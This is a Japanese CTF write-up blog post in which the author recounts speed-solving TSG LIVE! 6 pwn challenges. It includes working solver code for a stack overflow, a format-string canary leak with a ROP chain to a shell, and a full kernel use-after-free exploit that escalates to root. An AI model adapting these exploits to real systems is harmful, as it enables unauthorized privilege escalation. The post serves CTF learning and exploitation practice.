CTFするぞ

CTF以外のことも書くよ

TSG LIVE! 6 CTFのWriteup

有名サークルであるTSG*1が先日開催したTSG LIVE! 6 CTFにゲストチームとして参加しました。 ゲストチームにはzer0ptsから私含めて3人と、暗号系VTuber*2のkurenaifさんと合同で出陣しました。

Pwn担当として参加しましたが、結果として力不足によりpwnを1問残してしまいました。 2時間*3という短いCTFでした。 そのため今回はいかに早解きするかが勝負でしたので、このwriteupでは早解きをメインに書きます。 どうせ解いている様子が放送されてしまったので、ここでは「何を考えていたか」を丁寧に書いていきます。 問題内容については公式が詳しいwriteupを出していますので、そちらを参照してください。

smallkirby.hatenablog.com

開始前

まず、14時からあると思っていました。13:50くらいになって誰も動かないので日付間違えたかな?と思っていました。 しばらくして実は14:30から開催ということに気付きました。

以下は早解きが要求される場合において私が必ず直前にやるコマンド群です。

$ aslr 0 # ASLRを切っておく
$ sudo gdb -q # 次回以降gdbの起動が速くなるようにする
$ sage # 次回以降sageの起動が速くなるようにする
sage> ^C
$ python # 次回以降ロードが早くなるようにする
>>> from ptrlib import *
>>> ^C
# TSGの問題の場合過去の傾向からlibc-2.31が頻出なので対応する環境を用意
$ cd colony/ pwndocker/libc-2.31; docker-compose up -d

RTA開始

問題をダウンロードしてから着手するまで

まず最も簡単な1問目を見ます。 もちろん問題文は読まずにダウンロードして展開します。 tar.gzという拡張子をしていながら実はtar.gz.gzの挙動をするというまるでCTFみたいなアーカイブが貰えるので展開します。

展開するとrootfs.cpioというファイル名が目に入ったのでカーネル問だと思い、真っ先にemacs exploit.c&を打ってHello, Worldを書きます。 これは外でビルドしたELFがqemu上で動くことを確認するために後で使います。 同様にMakefileを作ります。

all:
  musl-gcc exploit.c -o exploit -static
  strip --strip-all exploit
  cp exploit mount
  cd mount; find . -print0 | cpio -o --null --format=newc > ../testfs.cpio

を急いで書いて、配布されているrun.shdebug.shにコピーし、起動オプションに-gdb tcp::12345を付加してkaslrnokaslrに、rootfs.cpiotestfs.cpioに変えます。 さらにmkdir mount; cpio -idv < ../rootfs.cpioしてイメージを展開しておきます。 展開すると大抵の場合initというファイルがあるので、dmesgkallsymsが見られ、かつシェルがroot権限になるように修正しておきます。 最後にmake; ./debug.shして先ほど作ったHello, Worldがqemu中で動くことを確認します。

ここまでがカーネル問が降ってきたときの私の定石です。 旧定石にはextract-vmlinux bzImage > vmlinuxという処理も入れていましたが、問題によってはmodprobe_pathを書き換えると終わるなどROPが不要な場合もあるので、最適化のためこの手順は削除されました。

sushi-da1

ここからはCTFによって分岐します。 TSG CTFのような良質CTFの場合はソースコードが配布されているので、とりあえず開いておきます。

予想に反してたくさんのファイルがあったので、ここで問題文中のサーバーに接続すると、ユーザーランドpwn→カーネルランドpwnという問題設定であることを察します。 そこで一旦exploit.cを閉じてユーザーランド側のファイルを読みます。

結構ソースコードが長かったのですが、タイピングゲームという性質上入力箇所かランキング箇所に脆弱性があると推測できます。 1問目は簡単なはずなのでタイピング箇所とあたりを付けて該当箇所を見ます。 一見すると何も無いように見えたのですが、タイピング終了後の最後に入力だけサイズが200でなく0x200になっており、BOFがあることが分かりました。

  puts("\n[ENTER] again to finish!");
  readn(info.type, 0x200);

変数infoの定義を見ると次のようになっています。

  struct {
    unsigned long start, result;
    char type[MAX_LENGTH + 0x20];
    int pro;
  } info = {0};

MAX_LENGTHは200と定義されているので、220文字以上入れると

  if(info.pro != 0) system("cat flag1");

のパスを通って1つ目のフラグが表示されることが分かります。 ここまで来れば脳死でソルバを書くだけです。

from ptrlib import *
import time

#sock = Socket("localhost", 7777)
sock = Socket("nc sushida.pwn.hakatashi.com 1337")

sock.sendlineafter("$ ", "play")

for i in range(3):
    sock.recvuntil("[TYPE]")
    sock.recvline()
    l = sock.recvline()
    sock.sendline(l)

sock.sendlineafter("finish!", b"A" * (200 + 0x20) + p32(1))

sock.interactive()

この段階で、リモートで試す場合qemuの改行が\r\nになることに気付いたので、以降は\n\r\nに対応するソルバを書くように記憶しておきます。 こういう細かいことを忘れると大幅な時間ロスに繋がるので注意が必要です。

sushi-da2

2問目は明らかにシェルを取る必要があります。 SSPが有効なので先ほどのBOFは単純に利用できません。 問題が変わったので別の機能を使うと推測し、まだ使っていない関数を見ます。

void add_phrase(void){
  char *buf = malloc(MAX_LENGTH + 0x20);
  printf("[NEW PHRASE] ");
  readn(buf, MAX_LENGTH - 1);
  for(int ix=0; ix!=MAX_LENGTH-1; ++ix){
    if(buf[ix] == '\xa') break;
    memcpy(wordlist[3]+ix, buf+ix, 1);
  }
}

のようにmallocがあり、わざわざ1文字ずつmemcpyするという怪しい処理がありましたが、特に悪用できる脆弱性はなさそうです。

この時点でmallocに気を取られ、さきほどのBOFがheap bofになると勘違いしてfree処理を探しました。 freeは無いのでヒープ問じゃないか難しいヒープ問かな?とか意味不明な夢物語を想像していましたが、BOFがstack bofであったことを思い出します。 この一連の無駄な思考が1点目のミスです。再走しろ。

となるとcanaryのリークが必要なので、buffer overreadを探します。が、見つかりません。 しばらく考えると次の処理に気付きました。

    printf("[TYPE]\n");
    printf(wordlist[question]); puts("");

この脆弱性は配布ファイルを開いた時に真っ先に気付いていたのですが、その時はwordlistを編集できると思っていなかったので記憶から消し飛ばしていました。 こういうロスタイムが事故に繋がる。

ここまでくれば自明なので、gdbでprintfで止めてcanaryの位置を調べてFSBで表示させます。 タイピングで表示される文字列はランダムなのでcanaryが出ないこともあります。 こういう時、RTAでは偶然出た時だけ解けるソルバを書くのが普通ですが、sushi-da3でも使うことが想定されたので、成功確率が高いソルバを書くことを優先しました。

from ptrlib import *
import time

def add(data):
    sock.sendlineafter("$ ", "custom")
    sock.sendlineafter("] ", data)

def leak():
    sock.sendlineafter("$ ", "play")
    for i in range(3):
        sock.recvuntil("[TYPE]")
        sock.recvline()
        l = sock.recvline()
        if b'NEKO' in l:
            return int(l.split(b':')[1], 16)
        sock.sendline(l)
    sock.recvuntil("finish!")
    sock.recvline()
    sock.sendline("hoge")
    return None

def overflow(payload):
    sock.sendlineafter("$ ", "play")
    for i in range(3):
        sock.recvuntil("[TYPE]")
        sock.recvline()
        l = sock.recvline()
        sock.sendline(l)
    sock.recvuntil("finish!")
    sock.recvline()
    sock.sendline(payload)

elf = ELF("./client")
#sock = Process("./client")
sock = Socket("nc sushida.pwn.hakatashi.com 1337")

# leak canary
add("NEKO:%41$p")
canary = 0
while True:
    canary = leak()
    if canary is not None:
        break
logger.info("canary = " + hex(canary))
sock.sendline("neko")

# pwn
add("ponta")
rop_pop_rdi = 0x004b8a6b # safe gadget
payload  = b"\x00" * 0xf8
payload += p64(canary)
payload += b'A' * 8
payload += p64(rop_pop_rdi + 1)
payload += p64(rop_pop_rdi)
payload += p64(next(elf.find("/bin/sh")))
payload += p64(elf.symbol("__libc_system"))
overflow(payload)

sock.interactive()

canaryをリークした後はやるだけに見えますが、理論で組んだROP chainがなぜか動きません。 RSPを調整しても動かないので仕方なくgdbで見ると、ROP chainが最後まで書き込めていないことが分かりました。 原因はすぐ分かりました。

$ rp-lin-x64 -f ./client --unique --rop=1 | grep pop | grep rdi | grep "ret  ;"
0x00401a0a: pop rdi ; ret  ;  (190 found)

このgadgetが0x0aを含んでいるので改行文字になり、最後までpayloadが送れていませんでした。 すぐに--uniqueを撤去して使えるgadgetに変更し、無事通りました。

sushi-da3

ここからkernel exploitです。 2時間もないCTFでkernel exploitを出すあたりから、TSGの残忍さが見え隠れしていますね。

内容が変わるので一旦すべて閉じ、kernel driverのソースコードを読みます。 関数名をざっと見ると

  • ioctlのみ使える
  • タイピングのレコード用のドライバ

ということが分かります。

次に定義されている操作を見ます。

  switch(cmd){
    case SUSHI_REGISTER_RECORD:
      return register_record((void*)arg);
    case SUSHI_FETCH_RECORD:
      return fetch_record((void *)arg);
    case SUSHI_CLEAR_OLD_RECORD:
      return clear_old_records();
    case SUSHI_CLEAR_ALL_RECORD:
      return clear_all_records();
    default:
      return -EINVAL;
  }

CLEAR_ALL_RECORDと別でCLEAR_OLD_RECORDという操作をわざわざ定義していることから、ここに脆弱性があるか、あるいは脆弱性を利用するためにこの分別を利用することが推測できます。 怪しいのはもちろんCLEAR_OLD_RECORDの方なので読みます。

long clear_old_records(void)
{
  int ix;
  char tmp[5] = {0};
  long date;
  for(ix=0; ix!=SUSHI_RECORD_MAX; ++ix){
    if(records[ix] == NULL) continue;
    strncpy(tmp, records[ix]->date, 4);
    if(kstrtol(tmp, 10, &date) != 0 || date <= 1990) kfree(records[ix]);
  }
  return 0;
}

明らかなUse-after-Freeがあるので、これを利用する方針で行きます。 ファイル開いてから脆弱性特定するまで体感1分弱だったので、ここは上手くいったと思います。 この時点で30分強ほど経過していたはずで、まぁなんとかなるかなーと思っていました。 というのもこの時は2時間の大会だと思っていたのです。これも敗因の1つです。

とにかく、ドライバを開いて使うテンプレを書きます。 最初に書いたexploit.cを編集し、ioctlでの呼び出しを書きます。

struct record{
  char date[0x10];
  unsigned long result;
};

struct ioctl_register_query{
  struct record record;
};

struct ioctl_fetch_query{
  unsigned rank;
  struct record record;
};
...
int fd;
void reg(char *date, unsigned long result) {
  struct ioctl_register_query q = {.record.result = result};
  strncpy(q.record.date, date, 0x0f);
  printf("[+] REGISTER: %x\n", ioctl(fd, SUSHI_REGISTER_RECORD, &q));
}
struct record fetch(int rank) {
  struct ioctl_fetch_query q;
  q.rank = rank + 1;
  printf("[+] FETCH: %x\n", ioctl(fd, SUSHI_FETCH_RECORD, &q));
  return q.record;
}
void clear_old() {
  printf("[+] CLEAR_OLD: %x\n", ioctl(fd, SUSHI_CLEAR_OLD_RECORD, NULL));
}
void clear_all() {
  printf("[+] CLEAR_ALL: %x\n", ioctl(fd, SUSHI_CLEAR_ALL_RECORD, NULL));
}
...
int main() {
  fd = open("/dev/sushi-da", O_RDWR);
  if (fd == -1)
    fatal("open");
...

テスト用の呼び出しコードを書き、動くことを確認します。 ここで何かを勘違いしてちょっと時間を取りましたが、何を勘違いしていたかは忘れました。

Use-after-Freeを使うので私が昔書いたKernel Exploit用の構造体まとめ記事を見て、seq_operationsの使い方の部分だけ拾いました。 あれとは別にチーム内向けに書いているカーネルサンダースっていう秘伝のタレ(今考えたらチーム内に出すのも忘れてた)もあるのですが、画面が放送されていることを思い出し踏みとどまりました。 Discordとかも癖で(並行して別CTFをやっていた)別サーバーを開きそうになって危なかった。生放送は怖いね。

何はともあれKASLR baseの特定まではさくさく進みました。

  struct record r = {0};
  clear_all();

  reg("1337AAAABBBBBBBB", 1337);
  clear_old();
  
  r = fetch(0);
  printf("[+] 0x%016lx\n", *(unsigned long*)r.date);

  /* spray */
  int fds[0x100];
  for (int i = 0; i < 0x100; i++) {
    fds[i] = open("/proc/self/stat", O_RDONLY);
  }

  /* leak */
  r = fetch(0);
  kbase = *(unsigned long*)r.date - 0x194090; // single_start
  printf("[+] kbase = 0x%016lx\n", kbase);

この時、勘違いにより1時間くらい残ってると思っていたのですが、実は40分くらいだったようです。

次にこれを悪用する必要があるのですが、今持っているのはfreeしたアドレスを読むかfreeするというprimitiveです。 free時には次のようなチェックがあります。

    strncpy(tmp, records[ix]->date, 4);
    if(kstrtol(tmp, 10, &date) != 0 || date <= 1990) kfree(records[ix]);

何やらrecordのdateをチェックしています。

この時焦っていたので、何も考えずにこれを「dateが正しくないとfreeしてくれない」チェックだと勘違いします。 冷静に考えればdateが間違っていればdate=0になりdate<=1990を通るのえ必ずfreeされるのですが、そんな意味のないチェックを入れるか?と謎の思考に入り別のexploit方を考えます。

結局いろんな操作列を試したらseq_operationsが上書きできたので「あ゛っ!」ってなります。 この時点で30分も残っておらず(この時競技が1時間45分だったことを思い出している)無理かなーと思いながら進めます。

SMAP, SMEPが無効なのでROPするかぁと思いROP gadgetを探すのですが、ここで最大の過ちをします。 ROP gadgetの一覧を見ていると...

...
0xffffffff816112ef: mov esp, 0x6348001F ; ret  ;  (1 found)
0xffffffff8282646b: mov esp, 0x6FAD6A05 ; ret  ;  (1 found)
0xffffffff81800deb: mov esp, 0x74303A40 ; ret  ;  (1 found)
0xffffffff82839d28: mov esp, 0x77D59318 ; ret  ;  (1 found)
0xffffffff8150c9b8: mov esp, 0x83488201 ; ret  ;  (1 found)
0xffffffff827e80da: mov esp, 0x87A0A497 ; ret  ;  (1 found)
0xffffffff811bdd40: mov esp, 0x8900A452 ; ret  ;  (1 found)
0xffffffff826d8949: mov esp, 0x89480000 ; ret  ;  (1 found)
0xffffffff81292712: mov esp, 0x8948FFE4 ; ret  ;  (1 found)
0xffffffff813f2460: mov esp, 0x89FFF34B ; ret  ;  (1 found)
0xffffffff812ac210: mov esp, 0x89FFFFED ; ret  ;  (1 found)
0xffffffff812ac280: mov esp, 0x89FFFFEF ; ret  ;  (1 found)
0xffffffff81632a5c: mov esp, 0x89FFFFFD ; ret  ;  (1 found)
0xffffffff8283f386: mov esp, 0x8EDE1CE9 ; ret  ;  (1 found)
0xffffffff813b8736: mov esp, 0x98480044 ; ret  ;  (1 found)
...

無造作にならんだアドレス列の中に

0xffffffff826d8949: mov esp, 0x89480000 ; ret  ;  (1 found)

という女神のようなgadgetが見つかります。 なんと下位12-bitが0ではありませんか!

これはmmapしたあと、そのバッファの0番目のインデックスからROP chainを書き込めるので楽です。 しかし僅かに残った冷静な良心、ptr-angelが問いかけます。

「本当にそのgadgetは使えますか......?」

ふと我に返りアドレス部分を見ます。

0xffffffff826d8949

「これ、本当にtextセクションか?」

アドレスが0xffffffff82から始まるのはたいだい実行不可能領域という経験則があるので疑い始めます。 ここで別のgadgetを選んでおけば良かったのですが、ptr-devilがゴリ押しします。

「まぁ無理だったら、その時の自分がなんとかしてくれるっしょ!」

悪い考えが勝ってしまい、このgadgetを使ってしまいます。 本当はサーバーにバイナリ送る段階で10分ほど残しておきたかったのですが、15分くらいしか残っておらず急いでROP chainを書きます。

いざ動かすもクラッシュします。 しかもクラッシュして動かない瞬間が放送されているのが聞こえてしまう。泣いちゃった。

gdbでアタッチして確認すると、案の定先ほどのROP gadgetで死んでいることが分かりました。 しかもクラッシュメッセージが「maybe exploit attempt」みたいな情報量ゼロのメッセージで結構悩みました。 Linux kernelってマップ済みで実行できないところに飛ぶとそんなメッセージが出るんですね。知らんかった。

気付いたら焦ってgadgetを選び直し、インデックスを計算してROP chainを書き直します。 いけるかなーと思って試すもまた失敗。

Kernel ROPは久しぶりだったので

static void restore_state() {
  asm volatile("swapgs ;"
               "movq %0, 0x20(%%rsp)\t\n"
               "movq %1, 0x18(%%rsp)\t\n"
               "movq %2, 0x10(%%rsp)\t\n"
               "movq %3, 0x08(%%rsp)\t\n"
               "movq %4, 0x00(%%rsp)\t\n"
               "iretq"
               :
               : "r"(user_ss),
                 "r"((unsigned long)(0x????????)),
                 "r"(user_rflags),
                 "r"(user_cs), "r"(win));
}

という部分を過去のwriteupからコピペしたのですが、iretqのrspの部分がその過去の問題で使っていたchainのアドレスになったままでした。 こうして時間ロスが積みかさなり残り3分くらいで無事ローカルでフラグが取れました。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long kbase = 0;
unsigned long commit_creds = (0xffffffff8106cd00 - 0xffffffff81000000);
unsigned long prepare_kernel_cred = (0xffffffff8106d110 - 0xffffffff81000000);

#define SUSHI_REGISTER_RECORD 0xdead001
#define SUSHI_FETCH_RECORD 0xdead002
#define SUSHI_CLEAR_OLD_RECORD 0xdead003
#define SUSHI_CLEAR_ALL_RECORD 0xdead004

#define SUSHI_RECORD_MAX 0x10
#define SUSHI_NAME_MAX 0x10

struct record{
  char date[0x10];
  unsigned long result;
};

struct ioctl_register_query{
  struct record record;
};

struct ioctl_fetch_query{
  unsigned rank;
  struct record record;
};

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int fd;
void reg(char *date, unsigned long result) {
  struct ioctl_register_query q = {.record.result = result};
  strncpy(q.record.date, date, 0x0f);
  printf("[+] REGISTER: %x\n", ioctl(fd, SUSHI_REGISTER_RECORD, &q));
}
struct record fetch(int rank) {
  struct ioctl_fetch_query q;
  q.rank = rank + 1;
  printf("[+] FETCH: %x\n", ioctl(fd, SUSHI_FETCH_RECORD, &q));
  return q.record;
}
void clear_old() {
  printf("[+] CLEAR_OLD: %x\n", ioctl(fd, SUSHI_CLEAR_OLD_RECORD, NULL));
}
void clear_all() {
  printf("[+] CLEAR_ALL: %x\n", ioctl(fd, SUSHI_CLEAR_ALL_RECORD, NULL));
}

static void win() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  write(1, "win!\n", 5);
  execve("/bin/sh", argv, envp);
}

static void escalate_privilege() {
  char* (*pkc)(int) = (void*)(kbase + prepare_kernel_cred);
  void (*cc)(char*) = (void*)(kbase + commit_creds);
  (*cc)((*pkc)(0));
}

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

static void restore_state() {
  asm volatile("swapgs ;"
               "movq %0, 0x20(%%rsp)\t\n"
               "movq %1, 0x18(%%rsp)\t\n"
               "movq %2, 0x10(%%rsp)\t\n"
               "movq %3, 0x08(%%rsp)\t\n"
               "movq %4, 0x00(%%rsp)\t\n"
               "iretq"
               :
               : "r"(user_ss),
                 "r"((unsigned long)(0x0B0FF000 + 0x4000)),
                 "r"(user_rflags),
                 "r"(user_cs), "r"(win));
}

int main() {
  fd = open("/dev/sushi-da", O_RDWR);
  if (fd == -1)
    fatal("open");
  save_state();

  unsigned long *chain =
    (unsigned long*)mmap(0x0B0FF000,
                         0x8000,
                         PROT_READ | PROT_EXEC | PROT_WRITE,
                         MAP_ANON | MAP_PRIVATE | MAP_POPULATE,
                         -1, 0);

  struct record r = {0};
  clear_all();

  reg("1337AAAABBBBBBBB", 1337);
  clear_old();
  
  r = fetch(0);
  printf("[+] 0x%016lx\n", *(unsigned long*)r.date);

  /* spray */
  int fds[0x100];
  for (int i = 0; i < 0x100; i++) {
    fds[i] = open("/proc/self/stat", O_RDONLY);
  }

  /* leak */
  r = fetch(0);
  kbase = *(unsigned long*)r.date - 0x194090; // single_start
  printf("[+] kbase = 0x%016lx\n", kbase);

  /* pwn */
  clear_old();

  unsigned long rop_pivot = kbase + (0xffffffff816c5ff1 - 0xffffffff81000000);
  unsigned long buf[2];
  buf[0] = rop_pivot;
  buf[1] = 0xffffffffcafebabe;
  for (int i = 0; i < 0x100; i++) {
    reg((void*)buf, 0xffffffffdeadc0c0);
  }
  chain[499] = (void*)escalate_privilege;
  chain[500] = (unsigned long)&restore_state;

  /* ignite */
  printf("%p\n", rop_pivot);
  getchar();
  char c;
  for (int i = 0; i < 0x100; i++) {
    read(fds[i], &c, 1);
  }

  puts("[+] Done");
  return 0;
}

この時点で3分でリモートにバイナリ送るのは無理だと察していました。 一応過去の問題で頻出のアップローダをコピーしますが、これも失敗します。 なぜなら、sushi-da1で述べた改行コードの問題と言い、リモートのqemuは(ローカルもだけど)入出力の挙動がかなり特殊でした。 そもそもローカルで動かしているときも入力した文字が表示されないというよくわからん状況で辛かったです。

唯一チャンスがあるとすればwgetでバイナリを落とす方法なので自分のサーバーにexploitをアップロードして試しましたが、リモートマシンのqemu自体はインターネットに繋がっておらず失敗し、無事時間切れになりました。

総評

力不足でした。 チームメイトには本当に申し訳なかったです。

TSGつえ〜

楽しい大会を開催していただき、ありがとうございました。

*1:フラグとかに正式名称書いてあるけど覚えられない

*2:ネット文化に弱い私が見たことのある数少ないVTuberの1人。もう1人はバーチャルおばあちゃん。

*3:実際には1時間45分なのですが、毎回必ず2時間あると勘違いしてゆっくりしてしまう。次回以降は2時間にしてほしい。